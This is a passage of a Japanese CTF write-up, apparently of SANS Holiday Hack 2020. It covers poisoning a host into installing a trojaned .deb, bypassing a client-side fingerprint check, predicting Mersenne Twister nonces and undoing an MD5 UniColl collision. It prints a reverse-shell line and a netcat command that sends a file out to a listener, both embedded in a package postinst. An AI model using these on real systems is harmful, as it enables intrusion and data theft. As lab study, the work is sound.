        sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
        
if __name__ == "__main__":
    main()

ひとまずこんな感じにして実行、arp同様に裏で走らせておいて、他の窓で80 portを監視してみる。

$ tcpdump -nni eth0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:44:28.199945 IP 10.6.6.35.40942 > 10.6.0.4.80: Flags [S], seq 3658739984, win 64240, options [mss 1460,sackOK,TS val 1514430279 ecr 0,nop,wscale 7], length 0
07:44:28.199991 IP 10.6.0.4.80 > 10.6.6.35.40942: Flags [R.], seq 0, ack 3658739985, win 0, length 0
07:44:29.287845 IP 10.6.6.35.40946 > 10.6.0.4.80: Flags [S], seq 269305815, win 64240, options [mss 1460,sackOK,TS val 1514431367 ecr 0,nop,wscale 7], length 0
07:44:29.287880 IP 10.6.0.4.80 > 10.6.6.35.40946: Flags [R.], seq 0, ack 269305816, win 0, length 0
07:44:32.423719 IP 10.6.6.35.40950 > 10.6.0.4.80: Flags [S], seq 1591512794, win 64240, options [mss 1460,sackOK,TS val 1514434502 ecr 0,nop,wscale 7], length 0
07:44:32.423756 IP 10.6.0.4.80 > 10.6.6.35.40950: Flags [R.], seq 0, ack 1591512795, win 0, length 0

何か来ている気がする!
ここで、自分の80番ポートの状況を調べるとつながらない。

$ nc 10.6.0.4 80
(UNKNOWN) [10.6.0.4] 80 (http) : Connection refused 

そりゃそうだ。何も立ち上げてないもん。ということは、サーバーを立ち上げないといかんのか?
HELP.mdpython3 -m http.server 80って書いてあったので、とりあえず/home/guestで立ち上げてみる。

$ python3 -m http.server 80                               
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...                         
10.6.6.35 - - [30/Dec/2020 06:47:41] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:41] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                                                              
10.6.6.35 - - [30/Dec/2020 06:47:42] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:42] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                                                              
10.6.6.35 - - [30/Dec/2020 06:47:42] code 404, message File not found
10.6.6.35 - - [30/Dec/2020 06:47:42] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                                                              
10.6.6.35 - - [30/Dec/2020 06:47:42] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:42] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                                                              
10.6.6.35 - - [30/Dec/2020 06:47:43] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:43] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                                                              
10.6.6.35 - - [30/Dec/2020 06:47:44] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:44] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                                                              
10.6.6.35 - - [30/Dec/2020 06:47:45] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:45] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                                                              
10.6.6.35 - - [30/Dec/2020 06:47:46] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:46] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404 -                

リクエエスト来てる!!!!!!!
なるほど!!!!!そこのそれを取りに来てるのね!だから/pub/jfrost/backdoor/suriv_amd64.debにevilなdebパッケージを仕込めばいいんだな。
ここらで窓が足りなくなるので、新しく窓を追加。

$ /usr/bin/tmux split-window -hb

とりあえず適当なのを設置してみた。

$ mkdir -p ./pub/jfrost/backdoor
$ cp debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb ./pub/jfrost/backdoor/suriv_amd64.deb

置いてみたぞ。

10.6.6.35 - - [30/Dec/2020 06:53:23] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 200 -                                                               
10.6.6.35 - - [30/Dec/2020 06:53:24] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 200 -                                                              
10.6.6.35 - - [30/Dec/2020 06:53:25] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 200 -                                                              
10.6.6.35 - - [30/Dec/2020 06:53:25] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 200 -                                                              
...       

200が返るようになった!無事受け取ってくれたみたい!

あとは、このdebパッケージに、reverse shell出来るような何かを仕込みたい。
ヒントの

The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file

このリンク先の記事を読みながら、とにかくやってみる。

$ mkdir -p tmp/packing
$ cd tmp/packing
$ cp ../../debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb .
$ dpkg -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb work
$ mkdir work/DEBIAN
$ ar -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb 
$ tar Jxfv control.tar.xz ./control
$ tar Jxfv control.tar.xz ./postinst
$ mv control work/DEBIAN/
$ mv postinst work/DEBIAN/

ここから紹介先の記事では、metasploitを使ってevilなファイルを作成、これを実行させるスクリプトをpostinstに追記しているけど、今回は自分のIP/portにアクセスさせたいだけなのでshellコマンドを追記するだけにする。

Private Address同士のreverse shellは

tech.kusuwada.com

が参考になった!私の記事やん!私、残しててエライ!
…が bash -i >& /dev/tcp/10.6.0.6/6666 0>&1 では待ち伏せ側にアクセスが来なかったので、色々試行錯誤してみる。
curlでcurl http://10.6.0.6:80/hogehogeみたいにアクセスさせようとしてみたり、nc 10.6.0.6 6666でアクセスさせてみたり。

結果、ncコマンドをpostinstに追記すると実行していただける事がわかったが、うまい具合にinteractiveにならなかったので、最終的に下記サイトのファイルの送受信をやってみた。

速習・ペンテスト(Netcat) - あしのあしあと

受け側を

$ nc -nlvp 6666 > NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt

で待ち伏せておいて、victimeに

nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt

コマンドを実行させると、受け側にファイルが送られてくるはず。

$ cd /home/guest/tmp/packing
$ echo "nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt" >> work/DEBIAN/postinst
$ dpkg-deb --build work
$ cp work.deb ../../pub/jfrost/backdoor/suriv_amd64.deb

キタ━━ヽ(*・∀・*)ノ━━!!

$ less NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
NORTH POLE
LAND USE BOARD
MEETING MINUTES
January 20, 2020
Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pole
Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.
Roll call of Board members please:
Chairman Jack Frost - Present
Vice Chairman Mother Nature - Present
Superman - Present
Clarice - Present
Yukon Cornelius - HERE!
Ginger Breaddie - Present
King Moonracer - Present
Mrs. Donner - Present
Tanta Kringle - Present
Charlie In-the-Box - Here
Krampus - Growl
Dolly - Present
Snow Miser - Heya!
Alabaster Snowball - Hello
Queen of the Winter Spirits - Present
ALSO PRESENT:
                Kris Kringle
                Pepper Minstix
                Heat Miser
                Father Time
Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting.

Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman.  Minutes approved.
OLD BUSINESS: No Old Business.
RESOLUTIONS:
The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle.  Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.”  Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.”  Chairman Frost then noted, “But the additional traffic will be a burden on local residents.”  Dolly explained traffic projections were all in alignment with existing roadways.  Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’”  Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board.  Mrs. Nature made a motion to approve.  Seconded by Mr. Cornelius.  Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.  
Approved:
Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits
Opposed: 
                Jack Frost
Resolution carries.  Construction approved.
NEW BUSINESS:

Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc.  Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two orders of magnitude too high.  Why, it might burn the whole North Pole down!”  Mr. H. Miser replied with a laugh, “That’s the whole point!”  The board voted unanimously to reject the initial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.
Motion to adjourn – So moved, Krampus.  Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan.  Meeting adjourned.

長い!!!
せっかく攻撃が成功したのに、答えがわからない!投票を棄権した人を探すらしい。recuse で検索して調べた。

answer: Tanta Kringle

めちゃめちゃ長い道のりであった…。自力でなんとかなったのを褒めてあげたい!
そしてめっちゃ楽しかった…!!!!!₍₍ (ง ˙ω˙)ว ⁾⁾

10) Defeat Fingerprint Sensor

Bypass the Santavator fingerprint sensor. Enter Santa's office without Santa's fingerprint.

サンタじゃなくて自分に戻って、3Fのサンタオフィスに忍び込む必要がある。

サンタべーターの操作パネルを開いたときに、Chrome開発者ツールで色々突っついて試してみたが、cookieは情報なし、path,query周りはサンタのときのものを使おうとしても資格情報が更新されないようだった。

ということは、サンタかどうかをクライアントサイドの情報で持ってるのかな?と思い、サンタベーターのソースコードを探してみます。あった。

f:id:kusuwada:20210111064437p:plain

開発者ツールの Sources > elevator.kinglecon.com > app.js
更に、このスクリプトをsantaとかの文字で引っ掛けると、354行目にどうも3階に行くためのロジックが。ボタンは既にアクティブなので良くて、この

hasToken('besanta')

をクリアすれば良さそう。
サンタの状態でこの行にBreakpointを貼ってfingerprintをクリックすると、その時の変数が表示されます。
右列のScope > Script > tokens (探すのが面倒なので、一度見つけたらWatchListに入れておく)

確かに11個目に"besanta"というtokenを持っています。

あとは、自分に戻ってサンタベーターに乗り、同じくパネルを操作してBreakpointまで着たら、ここのtokenの不要そうなやつ(marbleとか)を"besanta"に書き換え、breakpointを外してfingerprintをタッチすればBypass成功!3Fにたどり着けました👍

f:id:kusuwada:20210111064502p:plain

11a) Naughty/Nice List with Blockchain Investigation Part 1

Difficulty: 🎄🎄🎄🎄🎄

Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex hash)

エレベーターの3F、サンタのオフィスに行ってエルフに話しかけると、OfficialNaughtyNiceBlockchainEducationPack.zipがDLできる。中にはソースコードが入っている。

OfficialNaughtyNiceBlockchainEducationPack
├── Dockerfile
├── docker.sh
├── naughty_nice.py
├── official_public.pem
└── private.pem

他、机の上の書類をクリックすると、blockchain.datという割と大きめのデータが降ってくる。

更に、2F奥のSnowballのゲーム機前にいる Tangle Coalbox にSnowballクリア後に話しかけると、めっちゃヒントくれる(うち11aは1つ)。

MD5 Hash Collisions

If you have control over to bytes in a file, it's easy to create MD5 hash collisions. Problem is: there's that nonce that he would have to know ahead of time.

エルフからもらったファイルのうち、naughty_nice.pyを見てみます。ほとんど説明のコメント。長い。でも何から手を付けてよいのか全然わからなかったのでちゃんと読んだ。

どうやら独自のブロックチェーン "Naughty/Nice" の仕組みで、次のBlock hashを予測する問題らしい。MD5 hashについては、衝突させるためのライブラリが紹介されているのと、snowballのときにやったrondom()で生成される値の推測(Mersenne Twister Prediction)を使うっぽい。nonceというのを予測しないといけないので、これに使うのかな?

とりあえず、このスクリプトの最後のコメント部分でblockchain.datを読み込んで最初のブロックを表示するコードを適用敷いてくれているので、やってみる。

$ python test.py 

*** WARNING *** Wrong previous hash at block 128449.

*** WARNING *** Blockchain invalid from block 128449 onward.

C2: Block chain verify: False
Chain Index: 128449
              Nonce: e3e12de5edfb51e2
                PID: 0803508ada0a5ebf
                RID: aecbf777616d9fa4
     Document Count: 1
              Score: 000000dc (220)
               Sign: 1 (Nice)
         Data item: 1
               Data Type: 05 (PDF)
             Data Length: 000003a7
                    Data: b'255044462d312e330a332030206f626a0a3c3c2f54797065202f506167650a2f506172656e742031203020520a2f5265736f75726365732032203020520a2f436f6e74656e74732034203020523e3e0a656e646f626a0a342030206f626a0a3c3c2f46696c746572202f466c6174654465636f6465202f4c656e677468203138323e3e0a73747265616d0a789c658eb10e82301884779ee212174da4b4a550ba9ae8e0dc1728e1078a501240797d51e3609c2eb9bbdc7712d788b34c638d4e16c9454048c6396c8db37d59a960c240a94d72d80a7bdb4e4458fc4008e37ac4c985ce0d3e60753366a280927c68e0f0a0c68523cafb82400f9a30b8db27297d838a5c8f71cbc61a7e6107d8ee17b91d29c41b79eeeb780cf1d2523cb7d4d7d80999994ca5b2d0ca68a3722db4fc5b484dc172f55e4813a912c925ff969e1a4c421d0a656e6473747265616d0a656e646f626a0a312030206f626a0a3c3c2f54797065202f50616765730a2f4b696473205b3320302052205d0a2f436f756e7420310a2f4d65646961426f78205b302030203631322e3030203739322e30305d0a3e3e0a656e646f626a0a352030206f626a0a3c3c2f54797065202f466f6e740a2f42617365466f6e74202f54696d65732d526f6d616e0a2f53756274797065202f54797065310a2f456e636f64696e67202f57696e416e7369456e636f64696e670a3e3e0a656e646f626a0a322030206f626a0a3c3c0a2f50726f63536574205b2f504446202f54657874202f496d61676542202f496d61676543202f496d616765495d0a2f466f6e74203c3c0a2f46312035203020520a3e3e0a2f584f626a656374203c3c0a3e3e0a3e3e0a656e646f626a0a372030206f626a0a3c3c0a2f54797065202f436174616c6f670a2f50616765732031203020520a2f4f70656e416374696f6e205b3320302052202f46697448206e756c6c5d0a2f506167654c61796f7574202f4f6e65436f6c756d6e0a3e3e0a656e646f626a0a787265660a3020380a303030303030303030302036353533352066200a30303030303030333339203030303030206e200a30303030303030353234203030303030206e200a30303030303030303039203030303030206e200a30303030303030303837203030303030206e200a30303030303030363238203030303030206e200a30303030303030373337203030303030206e200a747261696c65720a3c3c0a2f53697a6520380a2f526f6f742037203020520a3e3e0a7374617274787265660a3834300a2525454f460a0a'
               Date: 03/24
               Time: 13:21:00
       PreviousHash: c6e2e6ecb785e7132c8003ab5aaba88d
  Data Hash to Sign: 03cfb11504b8eee93b26aeb0d8ac39ff
          Signature: b'PT4OZUq+vwfNDhqipxwt28NC4Hd7dw6N1i4XHMGkIMR53qy8dF47YwpqzEjW0EAbUYPZ+b/E4X3YjXUTI0VnoJ2VsJQWtIPwcGIk5ayMfe5dgrjuLle5NUyEpd1EpIPdiSLMnyvbJEzG3HfA2dpkNsXWtO/D5wFYWGEErAt/PyH9CK/QuV5w3ArCwEmM61KWV7XTmC38EQoIm9iz5QQIIBU2onlZUcBlZ81N+H8pL/utpArkLppSwdRdx5f2kHUTLM7I2egDAdHhQ5zPAbZLoJ03HYjEBGKXiSQjAGhqY47U2DmliyOEehchTmmq+JiBF3ozXiV5hm89y/mN2uUzmQ=='

Document dumped as: 128449.pdf

まず、128449の部分でchaiinの検証が失敗している。ここで使用している前のhashが違うらしい。ここで改ざんされているのか?...と思ったけど、エルフの誰かが言ってたみたいに、ここからの情報尾だけ乗せてくれてるんですね。ありがとうございます。

最初のblockについては情報が得られ、128449.pdfが出力された。開いてみると、

f:id:kusuwada:20210111064644p:plain

Three time now, Banjamin was seen being a vegan, but never making a big deal out of it.

Elf-on-the-shelf #12595432874979467172

3/24/2020

だそうだ。あまり文章に意味はなさそう。他のblockもそれぞれPDF形式で、いろんな事が書いてある。全部見るのは大変なのでやめておいた。

試しに、最後のchainを表示してみると、Chain Imdeex: 129996。問題文の通り129996で終わっている。130000のnonceを予測するのがゴールっぽい。なんとなく概要がわかってきたぞ。

まずはrandomで生成されているnonceを予測してみる。既存のコードをちょっと書き換え。

from mt19937predictor import MT19937Predictor
bit = 64
...
if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
    print('-----------------------')
    predictor = MT19937Predictor()
    for i in range(624):
        x = c2.blocks[i].nonce
        predictor.setrandbits(x, bit)
    print('index: ' + str(c2.blocks[i+1].index))
    print('nonce: ' + str(c2.blocks[i+1].nonce))
    print('predi: ' + str(predictor.getrandbits(bit)))

実行結果

$ python nonce_predict.py 
...
-----------------------
index: 129073
nonce: 14229353351227460080
predi: 14229353351227460080

お、値が一致したので予測できたっぽい!これは、あと130000までを予測し続けるのみ。

if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
    print('-----------------------')
    predictor = MT19937Predictor()
    for i in range(624):
        x = c2.blocks[i].nonce
        predictor.setrandbits(x, bit)
    
    idx = 129073
    while idx < 130000:
        predictor.getrandbits(bit)
        idx += 1
    print(str(idx), hex(predictor.getrandbits(bit)))

実行結果

$ python nonce_predict.py 
...
-----------------------
130000 0x57066318f32f729d

57066318f32f729dを入れたら通った🙌

11b) Naughty/Nice List with Blockchain Investigation Part 2

Difficulty: 🎄🎄🎄🎄🎄

The SHA256 of Jack's altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you're clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you've recreated the original block, what is the SHA256 of that block?

最後の問題!ヒントをたくさんもらったので読んでみる。

  • Qwerty Petabyte is giving a talk about blockchain tomfoolery!

  • The idea that Jack could somehow change the data in a block without invalidating the whole chain just collides with the concept of hashes and blockchains. While there's no way it could happen, maybe if you look at the block that seems like it got changed, it might help.

  • Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It's like some sort of evil game to him.

  • A blockchain works by "chaining" blocks together - each new block includes a hash of the previous block. That previous hash value is included in the data that is hashed - and that hash value will be in the next block. So there's no way that Jack could change an existing block without it messing up the chain...

  • If Jack was somehow able to change the contents of the block AND the document without changing the hash... that would require a very UNIque hash COLLision.

  • Shinny Upatree swears that he doesn't remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting.

そういえば11aではHash計算なんて一ミリも使わなかったな…。
こっちの問題がHashCollisionっぽい。一応11aのヒントも。

If you have control over to bytes in a file, it's easy to create MD5 hash collisions. Problem is: there's that nonce that he would have to know ahead of time.

まずはJackが変更したBlockを探してみる。問題文で提供されたSHA256と一致するレコードを探します。
signature付きのdataをsha256したものがヒットした。

# (naughty_nice.pyの続き)

if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
    for block in c2.blocks:
        m = hashlib.sha256()
        m.update(block.block_data_signed())
        sha256 = m.hexdigest()
        if JACK_SHA256 == sha256:
            print(block)
            block.dump_doc(1)
            block.dump_doc(2)

実行結果

$ python test.py 
Chain Index: 129459
              Nonce: a9447e5771c704f4
                PID: 0000000000012fd1
                RID: 000000000000020f
     Document Count: 2
              Score: ffffffff (4294967295)
               Sign: 1 (Nice)
         Data item: 1
               Data Type: ff (Binary blob)
             Data Length: 0000006c
                    Data: b'ea465340303a6079d3df2762be68467c27f046d3a7ff4e92dfe1def7407f2a7b73e1b759b8b919451e37518d22d987296fcb0f188dd60388bf20350f2a91c29d0348614dc0bceef2bcadd4cc3f251ba8f9fbaf171a06df1e1fd8649396ab86f9d5118cc8d8204b4ffe8d8f09'
         Data item: 2
               Data Type: 05 (PDF)
             Data Length: 00009f57
                    Data: b'255044462d312e330a2525c1cec7c5210a0a312030206f626a0a3c3c2f547970652f436174616c6f672f5f476f5f417761792f53616e74612f5.....
                    ....(省略)....03402019a43'
               Date: 03/24
               Time: 13:21:41
       PreviousHash: 4a91947439046c2dbaa96db38e924665
  Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
          Signature: b'MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDTVw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdIznTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMAD2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw=='

Document dumped as: 129459.bin
Document dumped as: 129459.pdf

index: 129459 がヒットした。今回はpdfファイルの他にff (Binary blob)ファイルがある。
pdfファイルの方はmacでは破損して開けないとのことだったが、Chrome上では問題なく開けた。

f:id:kusuwada:20210111064853p:plain

おお!これがShinny Upatreeさんが書いた覚えがないと言ってたやつかな。
とにかく Jack Frost を褒め称えている。Jackが作ったとしか思えない。

binファイルは108バイトととても小さいが、ファイル形式がよくわからない。

$ file 129459.bin 
129459.bin: data

とにかく、このデータが改ざんされたものであり、改ざんされる前のレコードとsha256(署名部分も込み)が答えっぽい。
この改ざんによってchainが無効にならなかったことから、元のデータのmd5 hashとこのデータのmd5 hashが一致していると考えられる。更に、そのdiffが4バイト。

Hintで紹介されていた Colltris - Speaker Deck を見てみる。11aのヒントにでてきた GitHub - corkami/collisions: Hash collisions and their exploitations と同じ人のスライドっぽい。
今回は多分PDFのMD5 hash collisionをやりたいので、上記repositoryのREADMEでPDFの構造を確認してみる。

GitHub - corkami/collisions: Hash collisions and their exploitations

改ざんされたPDFには、何故かKidsセクションが2つあったので、2つ目を参照するよう変更してみた。(2->3)
※あとからスライドを見返してみたら、p194でやっていることそのものだった。

f:id:kusuwada:20210110062802p:plain

おぉ!書き換え前のPDFがでてきたぞ!!!

f:id:kusuwada:20210111065038p:plain

Jackめちゃめちゃ凶悪じゃん。この文章を自分を称える文章に書き換えたってことか。

元のデータから1バイト"-1"されているだけなので、上記のスライドp106から始まるunicollを今回使えそう。そういえばHintに a very UNIque hash COLLision っていう文言があったな!大文字部分だけ抜き出すとUNICOLL、つまり今回この手法を使うことが示唆されてるっぽい。こういうのがあると正しい方向に向かっているか確認できるので、大変ありがたい。

GitHub - corkami/collisions: Hash collisions and their exploitations ここも参考にしつつ。

とりあえず、このUniCollの方法で、いま改ざん後データを「+1」したので、64バイト先を「-1」でえ書き換えてみる(1C -> 1B)。ファイルそのもののmd5 hashは一致しない。

$ md5 129459.pdf 
MD5 (129459.pdf) = 448ac151b73a6b6da84cccec3345089a
$ md5 repair.pdf 
MD5 (repair.pdf) = 0ec092b2a2608674425d7220082776e4

pythonプログラム中のChainを見てみると、self.last_hash_value = b.full_hash()が変わらなければ良いらしい。full_hashは署名付きのものだ。

ちなみに、index:129459full_hashb10b4a6bd373b61f32f4fd3a0cdfbf84。ここさえ変わらなければ良い。

# (naughty_nice.pyの続き)

if __name__ == '__main__':
    # Load pubkey and blockchain data
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
        
    # find Jack's evil block
    JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
    evil_block = None
    for block in c2.blocks:
        m = hashlib.sha256()
        m.update(block.block_data_signed())
        sha256 = m.hexdigest()
        if JACK_SHA256 == sha256:
            evil_block = block
            break
    print(evil_block)
    print('evil_block full_hash: ' + evil_block.full_hash())
    
    # replace block data and check full_hash
    with open('repair.bin', 'rb') as f:
        repair_bin = f.read()
    with open('repair.pdf', 'rb') as f:
        repair_pdf = f.read()
    evil_block.data[0]['data'] = repair_bin
    evil_block.data[1]['data'] = repair_pdf
    print('evil_block full_hash: ' + evil_block.full_hash())
    
    # calc sha256
    m = hashlib.sha256()
    m.update(evil_block.block_data_signed())
    sha256 = m.hexdigest()
    print('sha256: ' + sha256)

実行結果

$ python solve.py
...
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
sha256: 1adfc6bb0b81d0409b506b1544440b58096790dd272317780bec706f48e79b1e

MD5 hashが変わってない!すごい!UNICOLL成功では?!
もうこれで課題クリアじゃん、と思ってSHA256を提出したけどreject。確かに4byte変えないといけないのにまだ2byteしか書き換えていない。
残りの2byteもUNICOLLで書き換えられるのかな。とすると、怪しい箇所で1byteだけ差し替えれば結果が変わるところを探さねば。

ここでかなり詰まっていたが、再度SantaOfficeのTinselくんに話を聞いてみたところ、気になる箇所が。

Out of nowhere, Jack Frost has this crazy score... positive 4,294,935,958 nice points!

No one has EVER gotten a score that high! No one knows how it happened.

Most of us recall Jack having a NEGATIVE score only a few days ago...

なんかすごい高いScoreになっていて、これも改ざんポイントっぽい!

最初に見たこのBlockを見返してみると

     Document Count: 2
              Score: ffffffff (4294967295)
               Sign: 1 (Nice)

明らかにココが怪しい。
Scoreはマイナスでなければならないはずなのに、0xffffffff になってしまっている。
でもこのスコア自体は1byte変えただけではマイナスにはならない…。

ここで再度 naughty_nice.py を見てみる。関連のある行だけ抜粋。

L167 Naughty = 0
L168 Nice = 1
...
L306         block_data['sign'] = Nice

どうやらsignには、悪戯をするとNaughty=0,良いことをするとNice=1が入るらしい。ということは、このsignがもともとJackの場合は0だったと当たりがつく。

問題は、この値を 1->0 に変えた時、その64bit先は何になるのかということ。下記のblock_data関数を参考に、どこを書き換えればよいか見てみる。

    def block_data(self):
        s = (str('%016.016x' % (self.index)).encode('utf-8'))
        s += (str('%016.016x' % (self.nonce)).encode('utf-8'))
        s += (str('%016.016x' % (self.pid)).encode('utf-8'))
        s += (str('%016.016x' % (self.rid)).encode('utf-8'))
        s += (str('%1.1i' % (self.doc_count)).encode('utf-8'))
        s += (str(('%08.08x' % (self.score))).encode('utf-8'))
        s += (str('%1.1i' % (self.sign)).encode('utf-8'))
        for d in self.data:
            s += (str('%02.02x' % d['type']).encode('utf-8'))
            s += (str('%08.08x' % d['length']).encode('utf-8'))
            s += d['data']
        s += (str('%02.02i' % (self.month)).encode('utf-8'))
        s += (str('%02.02i' % (self.day)).encode('utf-8'))
        s += (str('%02.02i' % (self.hour)).encode('utf-8'))
        s += (str('%02.02i' % (self.minute)).encode('utf-8'))
        s += (str('%02.02i' % (self.second)).encode('utf-8'))
        s += (str(self.previous_hash).encode('utf-8'))
        return(s)

最初のdataは129449.binなので、binファイルのどこかを書き換えれば良さそう。

ffff f1ff 0000 006c  | {score 8byteの最後5byte}{sign 1 byte}{length 8byte}
eaFS @....           | bin data 開始

バイナリエディタで129449.binを開き、14ブロック目の

f:id:kusuwada:20210110062834p:plain

8DD60388

D6を+1してD7にすると良さそう!
これで書き換えてrepair.binとし、blockを差し替えてみる。

# (naughty_nice.pyの続き)

if __name__ == '__main__':
    # Load keys and blockchain data
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    with open('private.pem', 'rb') as fh:
        private_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
        
    # find Jack's evil block
    JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
    evil_block = None
    for block in c2.blocks:
        m = hashlib.sha256()
        m.update(block.block_data_signed())
        sha256 = m.hexdigest()
        if JACK_SHA256 == sha256:
            evil_block = block
            break
    print('evil_block full_hash: ' + evil_block.full_hash())
    print('evil_block score: ' + str(evil_block.score))
    print('evil_block sign: ' + str(evil_block.sign))
    
    # replace block data and check full_hash
    print('--------[repair]----------')
    with open('repair.bin', 'rb') as f:
        repair_bin = f.read()
    with open('repair.pdf', 'rb') as f:
        repair_pdf = f.read()
    evil_block.sign = Naughty  # 1 -> 0
    evil_block.data[0]['data'] = repair_bin
    evil_block.data[1]['data'] = repair_pdf
    print('evil_block full_hash: ' + evil_block.full_hash())
    
    # calc sha256
    m = hashlib.sha256()
    m.update(evil_block.block_data_signed())
    sha256 = m.hexdigest()
    print('sha256: ' + sha256)

実行結果

$ python solve.py 
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
evil_block score: 4294967295
evil_block sign: 1
--------[repair]----------
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
evil_block score: 4294967295
evil_block sign: 0
sha256: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb

よっしゃHash変わってない!
このsha256がObjective 11bの答えでした🙌

凄いなー。MD5を変えずに、PDFをまるっと差し替えてしまうとか、本当にびっくり、驚きだ!しかも、特別なツールを使わず手動でこんな事ができるなんて!

Eve Snowshoes

I’m so glad we got the Naughty-Nice Blockchain set right again!

